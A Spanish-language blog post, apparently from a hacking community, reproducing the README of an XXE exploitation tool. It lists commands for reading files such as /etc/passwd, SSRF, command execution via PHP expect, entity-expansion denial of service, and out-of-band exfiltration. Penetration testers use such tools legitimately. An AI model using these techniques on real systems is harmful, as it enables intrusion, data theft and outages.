Escribí esta herramienta para ayudarme a probar las vulnerabilidades XXE.
Genera las cargas útiles de XML e inicia automáticamente un servidor para servir los DTD necesarios o para realizar la exfiltración de datos.
IMPORTANTE: Esta herramienta aún está en desarrollo y aunque la mayoría de sus características ya están funcionando, algunas pueden no haber sido probadas correctamente.
Creación y ejecución
Esta es una aplicación de nodo simple escrita con mecanografiado. Para que pueda compilarlo a medida que construye otras aplicaciones:
(instale el nodo y npm primero, si no los tiene)
npm install
npm run build
#you may need to npm install tsc -g in order for 'npm build' to success
Para ejecutar la aplicación, puede hacerlo de dos maneras:npm start [args]
node dist/index.js [args]
De nuevo, esto todavía está en desarrollo. Pronto desplegaré el paquete npm para que pueda instalarlo globalmente.Uso
Usage: index.js [command] [options] Commands: index.js file [file_to_read] Use XXE to read a file index.js request [URL] Use XXE to do a request index.js expect [command] Use XXE to execute a command through PHP's expect index.js xee [expantions] Generate a huge content by resolving entities Options: --version Show version number -s, --server Server address for OOB and DTD -p, --port Server port for OOB. Default: 7777 -t, --template path to an XML template where to inject payload -m, --mode Extraction Mode: xml, oob, cdata. Default: xml -e, --encode Extraction Encoding: none, phpbase64. Default: none -o, --output Output for the XML payload file. Default is to console -x Use a request to automatically send the xml file -h, --help Show help Examples: index.js expect ls index.js -s 127.0.0.1 expect ls -e phpbase64 -m oob -o output.xml index.js -s 127.0.0.1 file /c/windows/win.ini -t xmltemplate.xml -m oob index.js xee 900000000 -o output.xml index.js file /etc/passwd -x request.txt -t template.xml Extra Info: - When using the xml or cdata modes, add the placeholder '{{XXE}}' in the field where you want the entity content to be injected - When specifiying file paths for windows the format should be as: /c:/windows/win.ini (Notice the first slash). - OOB: Out Of Bo und: You can use this option to send the data processed by the xml parser, to your local webserver. Usefull with blind attacks - When using XML mode, it may break the XML parsing if XML reserved characters are loaded - When using the request option, you can specify the placeholder to inject the payload with {{XXE}} or {{XXE_B64}}Básicamente hay 4 comandos principales:Algunas notas: Si elige usar el modo OOB o CDATA, XXExploiter generará el dtd necesario que se incluirá e iniciará un servidor para alojarlos. Tiene en cuenta que si utiliza estas opciones se debe configurar la dirección del servidor Si incluye contenido en el cuerpo del XML tener en cuenta que los caracteres XML restringido como '<' puede romper el análisis sintáctico, así que asegúrese de usar CDATA o base64encode de PHP más de idiomas limitan el número de expansiones de entidad, o la longitud total del contenido expandido, así que asegúrese de probar XEE en su máquina primero, con las mismas condiciones que la Plantilla de destino. A veces necesitamos enviar XML con campos específicos para poder explotar una vulnerabilidad. Entonces, para ayudar, introduje la opción -t (--template). Puede crear un archivo XML normal para utilizarlo para generar la carga maliciosa. Si desea agregar el contenido de una solicitud o un archivo leído en el contenido de este archivo, puede colocar el marcador de posición {{XXE}} donde desea que esté. Puede haber algunas limitaciones en este momento con esta opción, si envía una plantilla XML con un campo DOCTYPE. Solicitud Después de toda esta automatización , sería aburrido tener que enviar manualmente el archivo XML al servidor, ¿verdad? Sí, así que creé una muy buena opción (-x) para hacerlo automáticamente por ti. Puede usar una solicitud que obtenga, por ejemplo, de Burp, y usarla aquí. (Tenga en cuenta que las opciones -x quiere un archivo) En el lugar donde desea que se inyecte el contenido XML, puede agregar el marcador de posición {{XXE}} o si lo necesita codificado en b64 (sí, lo necesitaba una vez) use {{XXE_B64}}
- archivo - para leer archivos locales
- request : realiza un ataque SSRF para realizar solicitudes desde la máquina de destino
- expect : use PHP wait para ejecutar comandos, si su objetivo es una aplicación PHP
- XEE : solo haga expansiones de parámetros para intentar causar un DOS.

Comentarios
Publicar un comentario
Todos sus comentarios seran bienvenidos, no se admiten insultos todo con el debido respeto que se merece cada persona, o de lo contrario seran eliminado cada comentario inrespetuoso hacia los demas. y autores del blog tambien puedes seguirnos en:
Facebook: https://www.facebook.com/groups/HackingTeamCyber/
Grupo de Telegram: https://t.me/TheHackForceOfficial
Canal de Youtube: https://www.youtube.com/channel/UCXy8Lg28OuGuI5Z-2EWJaNA?view_as=subscriber
Canal Vimeo: https://vimeo.com/403136547?activityReferer=1
Red Social Twitter: https://twitter.com/TheHackForce